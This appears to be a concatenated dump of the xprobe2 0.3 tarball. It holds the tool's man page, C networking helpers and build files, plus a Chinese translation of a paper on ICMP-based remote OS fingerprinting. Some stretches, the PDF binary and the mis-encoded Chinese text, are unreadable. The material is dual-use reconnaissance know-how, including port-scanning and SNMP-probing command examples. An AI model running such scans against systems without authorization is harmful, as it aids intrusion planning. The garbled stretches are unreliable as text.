×É-ÀÍ}äÚAgAžb½IXCm ÞIðÒV–®bæù”‡þ?0oñ·§ 'd1šº0êÀæ0FU˜C> Á¬õ¹î9.ŽÒHÀ½Lw11šÒÂÙ´ðrZx"-Ó®´ð™´°6-´¤…œÈu¢(¸ÕøÓ¿`z;Ók¦¨ðAT¸¾ž _‰ _ˆ #Q¡?*ä¼ w#õ2ÝÁôjªñÒåÀ`UÝÄKh üLíJD¸•–’&6Wo)YŸ%Í’\#çWB ^7ȈkyD\ÔŽQŠîøcÇŸ|ÓRÚˆæÀÍ™[‰/ …FáŸ" Ë€?A¬ÿJ1üñ2þЊ°×)äªðàŠ@9f)Ip±RÏ\-> 5©ù ”`´<,ŠÙå°¸%#×q Ií¢Ëʳd âe‹üM·}Ø"MØÜ„EÞUl ½?€ï5‹Ì§ gÔß§æÉ;©WÈo›ÃWȯ•[ä–l»€x5ňo*,É% ŒÀ?—ÚO¾«œ#¯:¹O'é%˜Ì £Ž¼CÏ“QHóXü²ßIµ/ήàÑ{¬7×°MgÆ­ M\G¶¤¾L” ²9u‹lŠï'ö+¤'1Oºâ¬V2ÎÂÛ$\Ik|‚¬IMG»®ã_!/> ¢IoÉû´÷÷ ·à5¼ÝÞõÞuÞfoÌ[ï úDß ŸßWíóù<>—^f}õv宯UÕ{D Õ.Ö9ªAÑG ‡}¼ø™u|+ õ™]jÁöVvšÝjÁ¬Ú¾gx ãoqÁœû*|1jÞŠÛ¸zÇnÓïÃf°€ »úÂ@6¹oÚí¶q…FœŠ˜ÁÍÃðÌÂÆ©3ŠÅSgŠEÔp,Î7Õö ôÿu`Y«°úïGxµùÂаyquÑÔh£²ºX0· E÷Ïpǹçòý3ÜóŠÃ3x€;žßIíx ¿ø Ôó@ƒEý¼C+!‰Ò`u—m¿C# 4™¥]@„Ѿ@i°Ì(oj‚äû§a×(š`œ רÑçÞ¿pÜ"ºÇ8÷Ü"+b”D(©¥L5'€0•hfîÝqÇ}Üqgî'ºuÇ}Ñq_·ú:ïû_Œü¡¡>\Ø><åC}ÅÍ{lG7±uP;Ý{"r ¯â‹jÔ¢Yï3kâ}(› «âFܾÏã7=`ó‚Pú†Xø…È5‚)§t?˜…e׺ܺuÁr¦®`,»Â/lˆA‘ Ë.̵PÖqrÖåá¼Ùv Þ_Dáü¡~ø-ÃãããccGÇéÊPÁìݱ{xJQòfãþ¢šê?ú_Æ fei×›7 SYœªŽ; ÈM›Ÿ>Ž:6FEêØ'vLóŽÑ,*†)µ+¿+K«ØSwZÕʪÏÀWÝÉ© NÉE> /DW 1000 /W [ 131 [ 457 ] ] >> endobj 80 0 obj << /Type /Font /Subtype /CIDFontType2 /BaseFont /ECHDBN+SymbolMT /FontDescriptor 75 0 R /CIDSystemInfo << /Registry (Adobe)/Ordering (Identity)/Supplement 0 >> /DW 1000 /W [ 109 [ 986 ] 111 [ 986 ] ] >> endobj 81 0 obj << /Filter /FlateDecode /Length 227 >> stream H‰TP±nÄ Ýù ­: S¥JËÝ’á®U“vçÀ¤H ‡ ùû—^Õ£÷ìg?›ûSï]þFA˜À:o—°’F¸âä<´ŒÓiG5êYEàY>33¬1~ãŒ>AR‚AËøñ¬âEÍü¦ücÇ-"ˆŠÛ}z0¸D¥‘”Ÿº¦y6²~Vzó?ÏÄMuµúKû­íK#Ù.*HH–µ{UéRv¼ÛÒ+Qv\QmCÎãýV1Ä2»<ö#Ànb endstream endobj 82 0 obj << /S /D >> endobj 83 0 obj << /Nums [ 0 82 0 R ] >> endobj 84 0 obj << /Type /Pages /Kids [ 91 0 R 1 0 R 4 0 R 7 0 R 10 0 R 13 0 R 16 0 R 19 0 R 22 0 R 25 0 R ] /Count 10 /Parent 85 0 R >> endobj 85 0 obj << /Type /Pages /Kids [ 84 0 R 86 0 R ] /Count 20 >> endobj 86 0 obj << /Type /Pages /Kids [ 28 0 R 31 0 R 34 0 R 37 0 R 40 0 R 43 0 R 46 0 R 49 0 R 52 0 R 55 0 R ] /Count 10 /Parent 85 0 R >> endobj 87 0 obj << /CreationDate (D:20020801200349+01'00') /ModDate (D:20020801200349+01'00') /Producer (Acrobat Distiller 5.0 \(Windows\)) /Author (Black Adder) /Creator (PScript5.dll Version 5.2) /Title (Microsoft Word - Fuzzy_Fingerprinting_Approach_&_Xprobe2_[01Aug2002].doc\ ) >> endobj 88 0 obj << /Type /Metadata /Subtype /XML /Length 1277 >> stream Microsoft Word - Fuzzy_Fingerprinting_Approach_&_Xprobe2_[01Aug2002].doc Microsoft Word - Fuzzy_Fingerprinting_Approach_&_Xprobe2_[01Aug2002].doc Microsoft Word - Fuzzy_Fingerprinting_Approach_&_Xprobe2_[01Aug2002].doc endstream endobj xref 0 89 0000000000 65535 f 0000069094 00000 n 0000069245 00000 n 0000069391 00000 n 0000071149 00000 n 0000071300 00000 n 0000071470 00000 n 0000074389 00000 n 0000074540 00000 n 0000074735 00000 n 0000079005 00000 n 0000079159 00000 n 0000079355 00000 n 0000082977 00000 n 0000083131 00000 n 0000083303 00000 n 0000085694 00000 n 0000085848 00000 n 0000086084 00000 n 0000090442 00000 n 0000090596 00000 n 0000090792 00000 n 0000094147 00000 n 0000094301 00000 n 0000094498 00000 n 0000098868 00000 n 0000099022 00000 n 0000099181 00000 n 0000101384 00000 n 0000101538 00000 n 0000101734 00000 n 0000105001 00000 n 0000105155 00000 n 0000105339 00000 n 0000108162 00000 n 0000108316 00000 n 0000108500 00000 n 0000111748 00000 n 0000111902 00000 n 0000112061 00000 n 0000113737 00000 n 0000113891 00000 n 0000114062 00000 n 0000116515 00000 n 0000116669 00000 n 0000116828 00000 n 0000119779 00000 n 0000119933 00000 n 0000120080 00000 n 0000122375 00000 n 0000122529 00000 n 0000122676 00000 n 0000123683 00000 n 0000123837 00000 n 0000123984 00000 n 0000124997 00000 n 0000125151 00000 n 0000125347 00000 n 0000127993 00000 n 0000128546 00000 n 0000128774 00000 n 0000128917 00000 n 0000129325 00000 n 0000129517 00000 n 0000129670 00000 n 0000129867 00000 n 0000130096 00000 n 0000164048 00000 n 0000164261 00000 n 0000172808 00000 n 0000173020 00000 n 0000179133 00000 n 0000179340 00000 n 0000193228 00000 n 0000193444 00000 n 0000199500 00000 n 0000199705 00000 n 0000206582 00000 n 0000206804 00000 n 0000214082 00000 n 0000214307 00000 n 0000214535 00000 n 0000214836 00000 n 0000214867 00000 n 0000214911 00000 n 0000215055 00000 n 0000215129 00000 n 0000215276 00000 n 0000215563 00000 n trailer << /Size 89 /ID[<77c46455b204c04518e2c0cf933f7185>] >> startxref 173 %%EOF xprobe2-0.3/docs/xprobe2.1000644 001751 000000 00000016523 10271643770 015574 0ustar00mederwheel000000 000000 .\" $Id: xprobe2.1,v 1.18 2005/07/26 12:48:59 mederchik Exp $ */ .\" .\" Copyright (C) 2001-2002 Fyodor Yarochkin , .\" Ofir Arkin .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .\" Generate man page: groff -man -Tascii xprobe.1 .TH XPROBE2 "$Id: xprobe2.1,v 1.18 2005/07/26 12:48:59 mederchik Exp $" .SH NAME xprobe2 \- A Remote active operating system fingerprinting tool. .SH SYNOPSIS .na .B xprobe2 [ .B \-v ] [ .B \-r ] [ .B \-p .I proto:portnum:state ] [ .B \-c .I configfile ] [ .B \-o .I logfile ] [ .B \-p .I port ] [ .B \-t .I receive\_timeout ] [ .B \-m .I numberofmatches ] [ .B \-D .I modnum ] [ .B \-F ] [ .B \-X ] [ .B \-B ] [ .B \-A ] [ .B \-T .I port spec ] [ .B \-U .I port spec ] .I host .br .ad .SH DESCRIPTION .LP \fIxprobe2\fP is an active operating system fingerprinting tool with a different approach to operating system fingerprinting. xprobe2 relies on fuzzy signature matching, probabilistic guesses, multiple matches simultaneously, and a signature database. .LP The operation of \fIxprobe2\fP is described in a paper titled "xprobe2 - A \'Fuzzy\' Approach to Remote Active Operating System Fingerprinting", which is available from http://www.sys-security.com/html/projects/X.html. .LP As \fIxprobe2\fP uses raw sockets to send probes, you must have .B root privileges in order for \fIxprobe2\fP to be able to use them. .SH OPTIONS .TP .B \-v be verbose. .TP .B \-r display route to target (traceroute-like output). .TP .B -c use \fIconfigfile\fP to read the configuration file, xprobe2.conf, from a non-default location. .TP .B -D disable module number \fImodnum\fP. .TP .B -m set number of results to display to \fInumofmatches\fP. .TP .B -o use \fIlogfile\fP to log everything (default output is stderr). .TP .B -p specify port number (\fIportnum\fP), protocol (\fIproto\fP) and it's \fIstate\fP for \fIxprobe2\fP to use during rechability/fingerprinting tests of remote host. Possible values for \fIproto\fP are \fB tcp\fP or \fB udp\fP, \fIportnum\fP can only take values from \fB 1\fP to \fB65535\fP, \fIstate\fP can be either \fBclosed\fP (for \fB tcp\fP that means that remote host replies with RST packet, for \fB udp\fP that means that remote host replies with ICMP Port Unreachable packet) or \fBopen\fP (for \fB tcp\fP that means that remote host replies with SYN ACK packet and for \fB udp\fP that means that remote host doesn't send any packet back). .TP .B -t set receive timeout to \fIreceive\_timeout\fP in seconds (the default is set to 10 seconds). .TP .B -F generate signature for specified target (use -o to save fingerprint into file) .TP .B -X write XML output to logfile specified with \fB-o\fP .TP .B -B causes \fIxprobe2\fP to be a bit more noisy, as \fB-B\fP makes TCP handshake module to try and blindly guess an open TCP port on the target, by sending sequential probes to the following well-known ports: 80, 443, 23, 21, 25, 22, 139, 445 and 6000 hoping to get SYN ACK reply. If \fIxprobe2\fP receives RST|ACK or SYN|ACK packets for a port in the list above, it will be saved in the target port database to be later used by other modules (i.e. RST module). .TP .B -T, -U enable built-in portscanning module, which will attempt to scan TCP and/or UDP ports respectively, which were specified in \fIport spec\fP .TP .B -A enable experimental support for detection of transparent proxies and firewalls/NIDSs spoofing RST packets in portscanning module. Option should be used in conjunction with -T. All responses from target gathered during portscanning process are divided in two classes (SYN|ACK and RST) and saved for analysis. During analysis module will search for different packets, based on some of the fields of TCP and IP headers, withing the same class and if such packets are found, message will be displayed showing different packets withing the same class. .SH EXAMPLES .LP .RS .nf \fBxprobe2 -v -D 1 -D 2 192.168.1.10\fP .fi .Sp Will launch an OS fingerprinting attempt targeting 192.168.1.10. Modules 1 and 2, which are reachability tests, will be disabled, so probes will be sent even if target is down. Output will be verbose. .RE .RS .nf \fBxprobe2 -v -p udp:53:closed 192.168.1.20\fP .fi .Sp Will launch an OS fingerprint attempt targeting 192.168.1.20. The UDP destination port is set to 53, and the output will be verbose. .RE .RS .nf \fBxprobe2 -M 11 -p tcp:80:open 192.168.1.1\fP .fi .Sp Will only enable TCP handshake module (number 11) to probe the target, very usefull when all ICMP traffic is filtered. .RE .RS .nf \fBxprobe2 -B 192.168.1.1\fP .fi .Sp Will cause TCP handshake module to try blindly guess open port on the target by sequentially sending TCP packets to the most likely open ports (80, 443, 23, 21, 25, 22, 139, 445 and 6000). .RE .RS .nf \fBxprobe2 -T 1-1024 127.0.0.1\fP .fi .Sp Will enable portscanning module, which will scan TCP ports starting from 1 to 1024 on 127.0.0.1 .RE .RS .nf \fBxprobe2 -p tcp:139:open 192.168.1.2\fP .fi .Sp If remote target has TCP port 139 open, the command line above will enable application level SMB module (if remote target has TCP port 445 open, substitue 139 in the command line with 445). .RE .RS .nf \fBxprobe2 -p udp:161:open 192.168.1.10\fP .fi .Sp Will enable SNMPv2c application level module, which will try to retrieve sysDescr.0 OID using community strings taken from xprobe2.conf file. .RE .SH NOTES \fIxprobe2\fP fingerprints remote operating system by analyzing the replies from the target, so to get the most out of \fIxprobe2\fP you need to supply \fIxprobe2\fP with as much information as possible, in particular it is important to supply at least one open TCP port and one closed UDP port. Open TCP port can either be provided in command line (\fB-p\fP), obtained through built-in portscanner (\fB-T\fP) or \fB-B\fP option can be used to cause \fIxprobe2\fP to try to blindly guess open TCP port. UDP port can be supplied via command line (\fB-p\fP) or through built-in portscanner (\fB-U\fP). .SH HISTORY xprobe has been developed in 2001 based on research performed by Ofir Arkin . The code has been officially released at the BlackHat Briefings in Las-Vegas in 2001. xprobe2 is a logical evolution of xprobe code. Signature based fuzzy fingerprinting logic was embedded. .SH "SEE ALSO" nmap(1) queso(1) pcap(3) .SH AUTHORS Fyodor Yarochkin , Ofir Arkin , Meder Kydyraliev .PP (see also CREDITS in distro tarball). .SH AVAILABILITY The current version and relevant documentation is available from following urls: .br .I http://www.sys-security.com/html/projects/X.html .br .I http://xprobe.sourceforge.net .br .I http://www.notlsd.net/xprobe/ .SH BUGS None known (please report). xprobe2-0.3/docs/xprobe-phrack-chinese.txt000755 001751 000000 00000034430 10271643770 021053 0ustar00mederwheel000000 000000 ÿþ|=---=[ úWŽNICMP„vÜ zÍd\Oû|ß~TCP/IPXh©Æ‹€b/g ]=---=| |=-----------------------------------------------------------------------=| |=---=[ ICMP based remote OS TCP/IP stack fingerprinting techniques ]=---=| |=-----------------------------------------------------------------------=| |=---------------=[ Ofir Arkin & Fyodor Yarochkin ]=---------------------=| |=---------------=[ translate to chinese by xundi ]=---------------------=| --[úWŽNICMP„v©Æ‹¹eÕl]-- °sÊN„vúWŽNTCP„v Oß~Ü zÍd\Oû|ß~©Æ‹€b/gøvù[egô‹Ôkƒçe†N ÿÙÌ‘bìNOËNÍ~NÍyúWŽNICMPÍT”^„v!j_egÜ z$R­eÍd\Oû|ß~ ÿ9hnc¥c6eegêÜ z;N:gÍT”^„váOo`eg$R­eøvsQ„vÍd\Oû|ß~0ù[ŽNÐg›Nû|ß~ŒTÍd\Os^ðS‚YWin*ïSåN¾0RÔkúWŽNTCP Oß~©Æ‹!j_ôf¾|nx„v§~+R0 NúWŽNTCP Oß~©Æ‹!j_{|f:y ÿêS gˆ_\IDSû|ß~O_/T¢cKmÙ›NáO„vŸRý€ ÿ‚Yœgw„v‰_/TÙ›NŸRý€ ÿIDSû|ß~\O¥c6e0Rˆ_Yr^pbáOo`ŒTøvS_ YBg„vM‘n0 --[:NUOXprobeÙHN€{US¢cKmØý€å]\O?]-- 1uŽN1uTÍy N TRFChÆQ(_ËY/fRFC 792 ÿTegžX RRFC 1122I{) ÿèRb€ NŒ[te„vICMP/ec(TÍyICMP÷‹Bl N/f(WûNa0W¹eý/ec)egYtICMPž[°s ÿÈSTÍyTCP/IPXh&^ gù[Ù›N N Tž[°s„vYt N TÿICMP•ï‹áOo`pencù[…_„vÍ‘‰'` N TÿICMPOS®‹ž[°s„v•ï‹b€ Ntã‰I{I{ü[ôbìNïSåN)R(uXprobeegÛLˆ€{US„v¢cKm0 --[bìNïS©Æ‹êT›NáOo`:]-- úWŽNICMP©Æ‹)R(uTÍyÍd\Oû|ß~„vÆ~®_ N Tegt’+R{|‹Wÿ ”^T{„vpencS-N9Y&^„vŸSËYˆmo`èR(sSbìNÑS„vpencS)-N„vIPßW\«ˆÀhågÿ *IP ;`•¦^ N›NÍd\Oû|ß~(‚YBSD¶[Ïeû|R)O(WŸSËYIP;`•¦^ßW NžX R20W[‚‚(sizeof(ipheader)) ÿÙ/fàV:NvQ…Qè•ï‹YtpencS„vÓ~œg0(Å_{˜èla„v/f T7h„vpencS‚YœgÎNSOCK_RAWû‹ÖS„vÝ‹ ÿÔÞV„vpencSip_lenW[µk\OÏQ‰c20W[‚‚). Ðg›NÍd\Oû|ß~O(WÔÞV„vpencS-N(WŸSËYIP;`•¦^ßW NÏQ‰c20W[‚‚0 € g›Nû|ß~Ock8^ÍT”^Ù*NßW„vf”^T{áOo`öeOý_euRFC1349 ÿ1\/fô‹ÑSÞV„vICMP”^T{áOo`ŽNøv”^ICMP÷‹BláOo`-N„vTOSW[µk

fáOo`({|‹W8)-NICMPãNxµk

f”^T{ù[bìN„vågâ‹ÛLˆÞVT{ ÿúWŽNMicrosoft„vÍd\Oû|ß~OÑSÞV(WICMPÞV>f”^T{-NICMPãNxµkf”^T{0 * ICMPågâ‹áOo`O(u†NDFMO ˆ”ù[dk{|ICMP•ï‹áOo` ÿN›NTCPXhOÍT”^Ù›N÷‹Bl €vQÖNû|ß~ NO0 * vQÖNICMPáOo`ÿ - ICMPöeô•3b÷‹Bl - ICMPáOo`÷‹Bl - ICMP0W@W©cx÷‹Bl ˆ”ù[Ù›NáOo`N›NTCP/IPXh/ecÙ›NáOo`v^ÍT”^Ù›N÷‹Bl ÿ €Ðg›NÍd\Oû|ß~ NO0 --[Xprobe ž[°s]-- S_MRXprobeO(ulx'`„v;‘hU\_ÛLˆ$R­e ÿRËYSUDPpencSÑSÙ~sQí•„vïzãSegæ‰ÑSICMP•ï‹áOo`ÿICMP NïS¾/ïzãS NïS¾(ù[ŽNîvhû|ß~„vP–6R/fó\N*NïzãS¡l g«ˆÇän €N¡l g g¡RÑv,T ÿ_NçeøSô‹ICMP NïS¾pencSïSåNO(u)0‚YœgN*N NY$R­e ÿ(WÑSY*NÄ~T(icmpïS N¾…Q¹[ ÿDFMO ÿTOS..)Æ–T(WN*Någâ‹-N„vKmÕ‹09hnc¥c6e0R„vICMP NïS¾pencS ÿù[Ù›NS…Q¹[ÛLˆÀhågv^ZPæ‹Æ~„v$R­e ÿ‚Yœg—‰ôfÛNek„vKmÕ‹ ÿ9hnc;‘h ÿÑSôfY„vågâ‹eg·ƒ—_ôfæ‹Æ~áOo`0 --[ ;‘h ]--- Nb—/f;‘h„v€{USËNÍ~ÿ RËY@b gTCP/IPXhž[°s«ˆRR2*NÄ~ ÿN›NÞV”^OHQW[µkMO ÿN›N NÞV”^OHQW[µkMO ÿÞV”^OHQW[µkMO„vû|ß~Sìbÿlinux 2.0.x, 2.2.x, 2.4.x, cisco IOS 11.x-12.x, Extreme Network SwitchesI{\ÛNekÇICMP•ï‹_(u(quoting)'Y\eg:S+R,Linuxuª_RFC1122O(WICMP•ï‹áOo`-NÞV°sS+T576kQMOÄ~'Y\penc ÿ €ÙP[Ä~-N„vvQÖNû|ß~êSOS+T64MO(8*NkQMOÄ~) ÿÛNekÇÞV°sÆ–bÀhåg(ueg$R­eCISCOï1uhVŒTExtreme Network switches0 TTLfnx¤‹(ÞV°s-NŸSËYpencS„v'Y\ ÿ!hŒšŒTnx¤‹I{) ÿ‚Yœg—‰ôfY„váOo`eg:SR$N*N{| Fyodor Yarochkin <fygrave@tigerteam.net> translate to chinese by xundi <xundi@xfocus.org> |=[ EOF ]=---------------------------------------------------------------=| xprobe2-0.3/docs/xprobe2.xsd000755 001751 000000 00000022015 10271643770 016226 0ustar00mederwheel000000 000000 XML Schema for Xprobe2 XML output. Created using VS.NET's xsd.exe (manually cleaned/corrected/improved). History: - meder@areopag.net Jun 10, 2004: created first draft version; xprobe2-0.3/src000755 001751 000000 00000000000 10271644025 013674 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xplib000755 001751 000000 00000000000 10271644025 015012 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xplib/Makefile.in000644 001751 000000 00000003142 10271643770 017144 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.7 2005/01/12 07:04:57 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # Ofir Arkin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CXXFLAGS=$(CPPFLAGS) @CXXFLAGS@ -I ../ CFLAGS=$(CPPFLAGS) @CFLAGS@ -I ../ LDFLAGS=@LDFLAGS@ LIBS=@LIBS@ INSTALL=@INSTALL@ RANLIB=@RANLIB@ OBJS=xp_get_interface.o xp_get_iface_addr.o xp_get_random_data.o \ xp_get_ping_payload.o xp_get_src_addr.o xp_sha1.o xp_lib.o all: libxplib.a libxplib.a: $(OBJS) ar cr libxplib.a *.o $(RANLIB) libxplib.a .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f libxplib.a core *.o distclean: clean rm -f Makefile xprobe2-0.3/src/xplib/README000755 001751 000000 00000000100 10271643770 015751 0ustar00mederwheel000000 000000 This is a library of functions to be used by tests...phhheww... xprobe2-0.3/src/xplib/xplib.h000644 001751 000000 00000002362 10271643770 016371 0ustar00mederwheel000000 000000 /* $Id: xplib.h,v 1.7 2005/01/12 07:04:58 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef XPLIB_H #define XPLIB_H #ifndef _XPROBE_MODULE #include "xprobe.h" #else #include #include "../defines.h" #endif #include "xp_get_interface.h" #include "xp_get_iface_addr.h" #include "xp_get_random_data.h" #include "xp_get_ping_payload.h" #include "xp_get_src_addr.h" #include "xp_sha1.h" #include "xp_lib.h" #endif /* XPLIB_H */ xprobe2-0.3/src/xplib/xp_get_iface_addr.cc000755 001751 000000 00000003517 10271643770 021026 0ustar00mederwheel000000 000000 /* $Id: xp_get_iface_addr.cc,v 1.2 2003/04/22 20:00:06 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* nifty idea stolen from 'skin'.. better than my own roting sockets * magic! ;-) */ #include "xp_get_iface_addr.h" struct in_addr xp_get_iface_addr(char *iname) { struct ifreq ifr; int sd; struct in_addr retval; struct sockaddr_in *sinaddr; if (!iname) { retval.s_addr = 0xffffffff; /* error */ return retval; } if((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); exit(1); } memset((void *)&ifr, 0, sizeof(struct ifreq)); strncpy(ifr.ifr_name, iname, sizeof(ifr.ifr_name)); if (ioctl(sd, SIOCGIFADDR,(char *)&ifr) < 0) { perror("ioctl(SIOCGIFADDR)"); close(sd); exit(1); /* interface doesn't exist or your kernel is flacky */ } close(sd); sinaddr = (struct sockaddr_in *) &ifr.ifr_addr; memcpy((void *)&retval, (void *)&(sinaddr->sin_addr.s_addr), sizeof(retval)); return retval; } xprobe2-0.3/src/xplib/xp_get_iface_addr.h000755 001751 000000 00000002224 10271643770 020662 0ustar00mederwheel000000 000000 /* $Id: xp_get_iface_addr.h,v 1.2 2003/04/22 20:00:09 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* nifty idea stolen from 'skin'.. better than my own roting sockets * magic! ;-) */ #ifndef XP_GET_IFACE_ADDR_H #define XP_GET_IFACE_ADDR_H #include "xplib.h" struct in_addr xp_get_iface_addr(char *iname); #endif /* XP_GET_IFACE_ADDR_H */ xprobe2-0.3/src/xplib/xp_get_interface.cc000755 001751 000000 00000006727 10271643770 020733 0ustar00mederwheel000000 000000 /* $Id: xp_get_interface.cc,v 1.4 2003/04/22 20:00:27 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* nifty idea stolen from 'skin'.. better than my own roting sockets * magic! ;-) */ #include "xp_get_interface.h" char *xp_get_interface(struct in_addr addr) { struct sockaddr_in ifraddr, remote; socklen_t iflen; int sd; struct ifconf ifc; struct ifreq *ifr, ifrtemp; char buf[sizeof(struct ifreq)*MAXIFNUM]; static char ifrname[IF_NAMESIZE + 1]; char *retval = NULL; remote.sin_family = AF_INET; remote.sin_port = htons(1234); remote.sin_addr.s_addr = addr.s_addr; #ifdef __linux__ /* TMP fix. linux is a bitch */ if (addr.s_addr == inet_addr("127.0.0.1")) { snprintf(ifrname, IF_NAMESIZE, "lo"); return ifrname; } #endif bzero((void *)&ifraddr, sizeof(ifraddr)); if ((sd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); return NULL; } if (connect(sd, (struct sockaddr *) &remote, sizeof(remote)) < 0) { perror("connect"); close(sd); return NULL; } iflen = sizeof(ifraddr); if (getsockname(sd, (struct sockaddr *) & ifraddr, &iflen) < 0) { perror("getsockname"); close(sd); return NULL; } bzero((void *)buf, sizeof(buf)); ifc.ifc_len = sizeof(buf); ifc.ifc_buf = (caddr_t) buf; if (ioctl(sd, SIOCGIFCONF, (char *)&ifc) < 0) { perror("ioctl(SIOCGIFCONF)"); close(sd); return NULL; } for(ifr = (struct ifreq *)buf; (char *)ifr && *(char *)ifr && (char *)ifr < (buf + ifc.ifc_len); #ifndef HAVE_SOCKADDR_SA_LEN ifr++ #endif ) { bcopy((void *)ifr, (void *)&ifrtemp, sizeof(struct ifreq)); #ifdef HAVE_SOCKADDR_SA_LEN ifr = (struct ifreq *)((char *)ifr + ifr->ifr_addr.sa_len + \ sizeof(ifr->ifr_name)); #endif if (ioctl(sd, SIOCGIFFLAGS, (char *)&ifrtemp) < 0) { if (errno == ENXIO) continue; perror("ioctl(SIOCGIFFLAGS)"); close(sd); return NULL; /* XXX: report me if fails here */ } if (!(ifrtemp.ifr_flags & IFF_UP)) continue; if (((struct sockaddr_in *)&ifrtemp.ifr_addr)->sin_addr.s_addr != ifraddr.sin_addr.s_addr) continue; bcopy((void *)(&ifrtemp)->ifr_name, (void *)ifrname, IF_NAMESIZE); retval = ifrname; break; } close(sd); if (retval == NULL) fprintf(stderr, "No interface leading to %s was found\n", inet_ntoa(addr)); return retval; } xprobe2-0.3/src/xplib/xp_get_interface.h000755 001751 000000 00000002211 10271643770 020555 0ustar00mederwheel000000 000000 /* $Id: xp_get_interface.h,v 1.2 2003/04/22 20:00:30 fygrave Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* nifty idea stolen from 'skin'.. better than my own roting sockets * magic! ;-) */ #ifndef XP_GET_INTERFACE_H #define XP_GET_INETRFACE_H #include "xplib.h" char *xp_get_interface(struct in_addr); #endif /* XP_GET_INTERFACE_H */ xprobe2-0.3/src/xplib/xp_get_ping_payload.cc000755 001751 000000 00000003106 10271643770 021425 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy 